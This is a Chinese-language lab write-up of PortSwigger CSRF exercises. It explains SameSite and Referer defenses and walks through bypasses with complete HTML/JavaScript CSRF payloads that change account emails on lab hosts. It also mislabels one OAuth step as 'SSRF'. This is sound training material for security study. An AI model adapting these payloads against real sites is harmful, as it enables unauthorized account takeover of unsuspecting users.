PostSwigger Web 安全學習:CSRF漏洞2

CSRF 漏洞學習網站:What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy

CSRF 漏洞:SameSite相關繞過

當瀏覽器訪問服務器時,服務器會在 Cookie 中添加 SameSite 屬性來告訴瀏覽器是否在來自其他網站的請求中允許攜帶 Cookie。

如果發出 Cookie 的網站沒有明確設置 SameSite 屬性來限制來自其它網站的請求,那么瀏覽器自動設置 SameSite=Lax 以防止跨網站訪問攜帶對方服務的 Cookie。

關于同源和同站點的問題,直接貼出 PostSwigger 官方解釋:

請求方請求同站點?同源?
https://example.comhttps://example.com是的是的
https://app.example.comhttps://intranet.example.com是的否:域名不匹配
https://example.comhttps://example.com:8080是的否:端口不匹配
https://example.comhttps://example.co.uk否:不匹配的 eTLD否:域名不匹配
https://example.comhttp://example.com否:不匹配的方案否:不匹配的方案

SameSite 工作流程

在 SameSite 機制之前,瀏覽器針對每個請求都會添加對應網站的 Cookie,不管它是否是來自其他站點,這就導致了常規的 CSRF 攜帶 Cookie 攻擊。SameSite 的工作原理是使瀏覽器和網站所有者能夠限制哪些跨站點請求(如果有)應包含特定 Cookie。如下是 SameSite 等級:

  • Strict:只要請求屬于跨站請求,就不攜帶 Cookie。

  • Lax:如果請求屬于跨站請求,滿足以下條件可以攜帶 Cookie:

    • 使用 Get 方式發起請求。

    • 使用頂級導航發起請求(如地址欄輸入和超鏈接跳轉)。

  • None:跨站請求攜帶 Cookie。

開發人員可以手動設置他們網站的 SameSite 級別,例如:

Set-Cookie: session=0F8tgdOhi9ynR1M9wa3ODa; SameSite=Strict

實驗:使用 GET 請求繞過 Lax 限制

使用頂級導航
<script>document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>
POST 偽裝成 GET

這是某些框架的特性,表單聲明為 method="POST",但被框架覆蓋為 GET 請求,服務器看作 GET 請求,而瀏覽器認為是 POST 請求。

<form action="https://vulnerable-website.com/account/transfer-payment" method="POST"><input type="hidden" name="_method" value="GET"><input type="hidden" name="recipient" value="hacker"><input type="hidden" name="amount" value="1000000">
</form>

payload:

讓 POST 請求覆蓋 GET 請求,導致瀏覽器按 GET 請求判斷,服務器按 POST 請求處理。

<script>document.location = "https://0a62002903e24ada80554453009a009b.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>

總結:探測框架特性,看是否允許方式覆蓋。

通過客戶端重定向繞過 Strict

如果目標站點存在站內導航的重定向 url,那么 CSRF 將不存在跨域問題。

相當于用戶二次訪問同一個站點:

  • 第一次從釣魚頁面跳轉到目標網站。

  • 第二次從目標網站重定向到攻擊者服務器的受害頁面。

  • 第三次從攻擊者的服務器頁面跳轉到敏感頁面(如:修改郵箱)。

  • 成功的原因:瀏覽器能追蹤客戶端重定向,當它根據源網站來判斷需不需要攜帶 Cookie 時,瀏覽器會追蹤到重定向之前的網站作為源網站。(注意:要區分跳轉和重定向。)

注:以上重定向必須是客戶端重定向,如果是服務端重定向,比如說服務端發送了一個 Location 的包給瀏覽器,瀏覽器能追蹤到最初的請求站點,并檢測到他們不是同一個站點。差別如下:

客戶端重定向用戶中招(通過 HTML 或 js 觸發的重定向):

  1. 用戶訪問釣魚頁面。

  2. 用戶跳轉到受害者網站。(當受害者網站觸發重定向時,瀏覽器仍將受害者網站作為源網站來判斷是否跨域)

  3. 從受害者網站重定向攻擊者頁面(如修改郵箱)。

  4. 攻擊者頁面向受害者網站發送敏感請求。

服務端重定向利用失敗(通過 HTTP 進行的重定向):

  1. 用戶訪問釣魚頁面。

  2. 釣魚頁面觸發服務端重定向(假設存在)。

  3. 服務器返回 Location 包。

  4. 瀏覽器解析 Location 包,并從釣魚頁面跳轉過去。(將釣魚頁面記作源網站,不攜帶 Cookie)

實驗:通過客戶端重定向繞過 Strict

當你在某一文章下發表完評論后,會跳轉到文章頁面:

redirectOnConfirmation = (blogPath) => {setTimeout(() => {const url = new URL(window.location);const postId = url.searchParams.get("postId");window.location = blogPath + '/' + postId;}, 3000);
}

訪問:https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=8
重定向后的 url =  blogPath + '/' + postId
其中:
blogpath = https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post
postId = 8
重定向后的 url = https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/8
?
如果篡改 postId = ../my-account,訪問如下url:
https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=../my-account
?
會跳轉到登錄頁面:

payload:

<script>document.location = "https://0ace00d204a086a1807d0308008f008a.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=wiener%40pwned.net%26submit=1";
</script>

注:要 URL 編碼 & 分隔符,防止一開始就被解析。

實驗:使用新發布的 Cookie 繞過 SameSite Lax 限制

繞過場景:服務器沒有設置 Cookie 的 SameSite 屬性,導致默認 Lax。

Chrome 為了避免破壞單點登錄(SSO)機制,不會在前 120 秒內對頂級請求實施這些限制。

攻擊者需要讓用戶重新生成 Cookie,以獲取這 2 分鐘的窗口期進行攻擊。

使用如下 poc 放在攻擊者服務器上:

<script>history.pushState('', '', '/')
</script>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="foo@bar.com" /><input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit();
</script>

當你在登錄后的 2 分鐘之內訪問它,發現 poc 能成功生效,如下圖修改郵箱成功。

如果用戶登錄超過兩分鐘,那么誘使用戶訪問其他頁面重新獲取 Cookie 后,再訪問敏感操作頁面(如修改郵箱)。

<form method="POST" action="https://0a9e00760433327180ac357700ea0078.web-security-academy.net/my-account/change-email"><input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>window.open('https://0a9e00760433327180ac357700ea0078.web-security-academy.net/social-login');setTimeout(changeEmail, 5000);
?function changeEmail(){document.forms[0].submit();}
</script>

觸發目標網站的 OAuth 登錄流程:

  1. 用戶已登錄目標網站,但 SSO 提供商會重新頒發會話(例如,OAuth 流程每次生成新會話)。

  2. 第一次 SSRF:攻擊者誘導用戶重新完成 OAuth 登錄,生成新 Cookie。(window.open 新標簽不受 Lax 限制)

  3. 第二次 SSRF:新 Cookie 進入 2 分鐘窗口期,此時可繞過 Lax 限制。

重點,攻擊者能通過 CSRF 讓用戶重新獲取 Session。

基于 Referer 的 CSRF 防御

Referer 用于服務器獲取請求頁面的來源頁面的 URL,如果服務器發現 Referer 頭不合法,那么判定用戶正在遭受釣魚攻擊。

常規的檢測手法,檢測 Referer 頭是否是本域。

繞過手段:

  • 寬松的 Referer 驗證邏輯:攻擊者控制 attacker.com/example.com,此時 Referer 為 attacker.com/example.com。

  • Referer 標頭的刪除導致服務器不驗證來源。

實驗:Referer 標頭的刪除導致服務器不驗證來源

payload:

<html><!-- CSRF PoC - generated by Burp Suite Professional --><!-- 包含以下 HTML 以禁止 referrer --><meta name="referrer" content="no-referrer"><body><form action="https://0aa0007c0387e677806e032d00d8004d.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="wiener&#64;pwned&#45;user&#46;net" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>

實驗:寬松的 Referer 驗證邏輯

那就在 HTML 釣魚頁面加上:

  <meta name="referrer" content="unsafe-url">       <!-- 防止添加的東西被過濾 --><!-- history.pushState 用于在瀏覽器歷史記錄中添加一條新的記錄,同時改變當前的 URL,但不會觸發頁面的刷新。-->history.pushState("", "", "/?0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net")<!-- 更新歷史 url,添加上這個參數 -->

完整 payload:

<html><!-- CSRF PoC - generated by Burp Suite Professional --><meta name="referrer" content="unsafe-url"><body><form action="https://0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net/my-account/change-email" method="POST"><input type="hidden" name="email" value="wiener&#64;pwned&#45;user&#46;net" /><input type="submit" value="Submit request" /></form><script>history.pushState("", "", "/?0aa900b503dcb6a380f4120a00d6002e.web-security-academy.net")document.forms[0].submit();</script></body>
</html>

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/78628.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/78628.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/78628.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

從基礎到實戰的量化交易全流程學習:1.3 數學與統計學基礎——概率與統計基礎 | 數字特征

從基礎到實戰的量化交易全流程學習&#xff1a;1.3 數學與統計學基礎——概率與統計基礎 | 數字特征 第一部分&#xff1a;概率與統計基礎 第2節&#xff1a;數字特征&#xff1a;期望值、方差、協方差與相關系數 一、期望值&#xff08;Expected Value&#xff09;&#xff1a…

MySQL(聚合函數)

單行函數 對每一條記錄輸入值進行計算&#xff0c;得到相應的計算結果&#xff0c;返回給用戶&#xff0c;也就是說&#xff0c;每條記錄作為一個輸入參數&#xff0c;經過函數計算得到每條記錄的計算結果。 每一個函數中都有一些常用的函數&#xff08;方法&#xff09; 在學…

babel核心知識點

Babel 是一個 JavaScript 編譯器&#xff0c;主要用于將 ECMAScript 2015 版本的代碼轉換為向后兼容的 JavaScript 代碼&#xff0c;以便在舊版本的瀏覽器或環境中運行。以下是 Babel 的核心知識點&#xff1a; 1. 基本概念 編譯器&#xff1a;Babel 本質上是一個編譯器&…

javaScript--數據結構和算法

在 JavaScript 里&#xff0c;數據結構和算法是十分關鍵的部分&#xff0c;下面介紹幾種常見的數據結構和對應的算法。 數組&#xff08;Array&#xff09; 數組是最基礎的數據結構&#xff0c;用于存儲一系列有序的數據。 // 創建數組 const arr [1, 2, 3, 4, 5];// 訪問元素…

π0.5:帶開放世界泛化的視覺-語言-動作模型

25年4月來自具身機器人創業公司 PI 公司的論文“π0.5: a Vision-Language-Action Model with Open-World Generalization”。 為了使機器人發揮作用&#xff0c;它們必須在實驗室之外的現實世界中執行實際相關的任務。雖然視覺-語言-動作 (VLA) 模型在端到端機器人控制方面已…

使用 OpenCV 和 dlib 進行人臉檢測

文章目錄 1. 什么是 dlib2. 前期準備介紹2.1 環境準備2.2 dlib 的人臉檢測器 3. 代碼實現3.1 導入庫3.2 加載檢測器3.3 讀取并調整圖像大小3.4 檢測人臉3.5 繪制檢測框3.6 顯示結果 4. 完整代碼5. 優化與改進5.1 提高檢測率5.2 處理 BGR 與 RGB 問題 6. 總結 人臉檢測是計算機視…

spring 的PropertySource 類與 @PropertySource 注解詳解與對比

PropertySource 類與 PropertySource 注解詳解與對比 在這里插入圖片描述 一、PropertySource 類詳解 1. 類型與作用 類型&#xff1a;接口&#xff08;org.springframework.core.env.PropertySource&#xff09;作用&#xff1a;抽象配置數據源&#xff0c;提供統一的鍵值…

Java后端開發day37--源碼解析:TreeMap可變參數--集合工具類:Collections

&#xff08;以下內容全部來自上述課程&#xff09; 1. TreeMap 1.1 須知 1.1.1 Entry 節點初始為黑色&#xff1a;提高代碼閱讀性 1.1.2 TreeMap中的成員變量 comparator&#xff1a;比較規則root&#xff1a;紅黑樹根節點的地址值size&#xff1a;集合的長度和紅黑樹…

基于Playwright的瀏覽器自動化MCP服務

一、服務定位與核心功能 github.com/executeautomation/mcp-playwright 是一個基于 Playwright&#xff08;微軟開源的跨瀏覽器自動化測試框架&#xff09;的 Model Context Protocol (MCP) 服務&#xff0c;核心功能是將瀏覽器自動化能力集成到大語言模型&#xff08;LLM&…

OSPF網絡協議

OSPF&#xff08;Open Shortest Path First&#xff09;是一種鏈路狀態路由協議&#xff0c;屬于IGP&#xff08;內部網關協議&#xff09;&#xff0c;用于在單一自治系統&#xff08;AS&#xff09;內動態分發路由信息。它通過計算最短路徑&#xff08;基于Dijkstra算法&…

Ubuntu 22.04.4操作系統初始化詳細配置

上一章節&#xff0c;主要講解了Ubuntu 22.04.4操作系統的安裝&#xff0c;但是在實際生產環境中&#xff0c;需要對Ubuntu操作系統初始化&#xff0c;從而提高系統的性能和穩定性。 一、查看Ubuntu系統版本和內核版本 # 查看系統版本 testubuntu:~$ sudo lsb_release -a Rel…

【Linux應用】開發板快速上手:鏡像燒錄、串口shell、外設掛載、WiFi配置、SSH連接、文件交互(RADXA ZERO 3為例)

【Linux應用】開發板快速上手&#xff1a;鏡像燒錄、串口shell、外設掛載、WiFi配置、SSH連接、文件交互&#xff08;RADXA ZERO 3為例&#xff09; 參考&#xff1a; ZERO 3 | Radxa Docs 大部分的Linux開發板等設備都大同小異 如樹莓派、香橙派、STM32MP135的Linux開發板等 …

Redis使用總結

NoSQL 1.1為什么要用NoSQL 面對現在用戶數據的急劇上升&#xff0c;我們需要對這些用戶數據進行挖掘&#xff0c;傳統的關系型數據庫已經不適合這些 應用了.Nosql 的發展可以很了的處理這些大的數據. 1.2什么是NoSQL Not Only Sql->NoSQL(不僅僅是SQL) 非關系型數據庫.隨…

Unity ML-Agents + VScode 環境搭建 Windows

安裝Unity 先去官網下載Unity Hub&#xff0c;然后安裝在D盤就可以了&#xff0c;你需要手機上安裝一個Unity Connect進行賬號注冊。 詳細的注冊可以參考&#xff1a; https://blog.csdn.net/Dugege007/article/details/128472571 注冊好了以后登入電腦端的Unity Hub&#x…

Linux電源管理(2)_常規的電源管理的基本概念和軟件架構

原文&#xff1a; Linux電源管理(2)_Generic PM之基本概念和軟件架構 1. 前言 Linux系統中那些常規的電源管理手段&#xff0c;包括關機&#xff08;Power off&#xff09;、待機&#xff08;Standby or Hibernate&#xff09;、重啟&#xff08;Reboot&#xff09;等。這些…

機器學習基礎理論 - 分類問題評估指標

幾個定義:混淆矩陣 TP: True Positives, 表示實際為正例且被分類器判定為正例的樣本數FP: False Positives, 表示實際為負例且被分類器判定為正例的樣本數FN: False Negatives, 表示實際為正例但被分類器判定為負例的樣本數TN: True Negatives, 表示實際為負例且被分類…

在線教育系統開發常見問題及解決方案:源碼部署到運營維護

當下&#xff0c;越來越多的教育機構、企業培訓部門以及創業者&#xff0c;選擇開發屬于自己的在線教育系統。然而&#xff0c;從源碼部署到實際運營&#xff0c;整個過程中常常會遇到一系列技術與管理難題。今天&#xff0c;筆者將從在線教育系統源碼維護、運營等幾個方向為大…

RAG(Retrieval-Augmented Generation,檢索增強生成)

RAG&#xff08;Retrieval-Augmented Generation&#xff0c;檢索增強生成&#xff09;是一種結合 信息檢索 和 文本生成 的技術&#xff0c;旨在提升大語言模型&#xff08;LLM&#xff09;生成內容的準確性和時效性。其核心思想是&#xff1a;先檢索相關知識&#xff0c;再基…

項目實戰 -- 狀態管理

redux基礎 還記得好久好久之前就想要實現的一個功能嗎&#xff1f; 收起側邊欄折疊菜單&#xff0c;沒錯&#xff0c;現在才實現 因為不是父子通信&#xff0c;所以處理起來相對麻煩一點 可以使用狀態樹或者中間人模式 這就需要會redux了 Redux工作流&#xff1a; 異步就…

Go語言之路————指針、結構體、方法

Go語言之路————指針、結構體、方法 前言指針結構體聲明初始化使用組合引用結構體和指針結構體的標簽 方法例子結合結構體總結 前言 我是一名多年Java開發人員&#xff0c;因為工作需要現在要學習go語言&#xff0c;Go語言之路是一個系列&#xff0c;記錄著我從0開始接觸Go…